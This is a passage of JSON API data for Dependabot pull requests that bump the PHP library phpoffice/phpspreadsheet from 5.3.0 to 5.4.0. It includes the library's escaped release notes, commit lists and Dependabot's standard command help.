href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-11-24 - 5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/48f2fe37d64c2dece0ef71fb2ac55497566782af\"\u003e\u003ccode\u003e48f2fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4777\"\u003e#4777\u003c/a\u003e from oleibman/changelog20260109\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/79208b34f451a34f1c39a7e84c37bb87ea93b830\"\u003e\u003ccode\u003e79208b3\u003c/code\u003e\u003c/a\u003e Update Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2a60b97508329e93f7e73b0c28666ee54459c572\"\u003e\u003ccode\u003e2a60b97\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e from oleibman/issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/69d337ded7bd94b6dbc80d8f64226461b701337e\"\u003e\u003ccode\u003e69d337d\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/60d0afd50131792eab570e38e7a1afb1f637556f\"\u003e\u003ccode\u003e60d0afd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e from oleibman/issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c0b28c45fde1fa884b83abd069c2b3cb5d606fe7\"\u003e\u003ccode\u003ec0b28c4\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d9a4765bd54f08810f852eb9f67673c5b29024a0\"\u003e\u003ccode\u003ed9a4765\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9d60a10df16a9867f127b5d52b075534803a187\"\u003e\u003ccode\u003ea9d60a1\u003c/code\u003e\u003c/a\u003e Remove Trailing Space\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/53fe59626abefd7a557c750a6bad0f1b9582ec38\"\u003e\u003ccode\u003e53fe596\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f3f09bc9a6a335ccfe22690a89c25fe25dc2ecf8\"\u003e\u003ccode\u003ef3f09bc\u003c/code\u003e\u003c/a\u003e Mpdf Styling of Multi-Line Strings\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.3.0...5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/MammothPHP/WoollyM/pull/94","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/MammothPHP%2FWoollyM/issues/94","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/94/packages"}},{"old_version":"5.3.0","new_version":"5.4.0","update_type":"minor","path":null,"pr_created_at":"2026-01-12T01:17:36.000Z","version_change":"5.3.0 → 5.4.0","issue":{"uuid":"3802436111","node_id":"PR_kwDOICZwMc68mj9z","number":5729,"state":"open","title":"chore(deps): bump phpoffice/phpspreadsheet from 5.3.0 to 5.4.0","user":"dependabot[bot]","labels":["dependencies:composer"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-01-12T01:17:36.000Z","updated_at":"2026-01-15T09:50:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.3.0","new_version":"5.4.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.3.0 to 5.4.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca 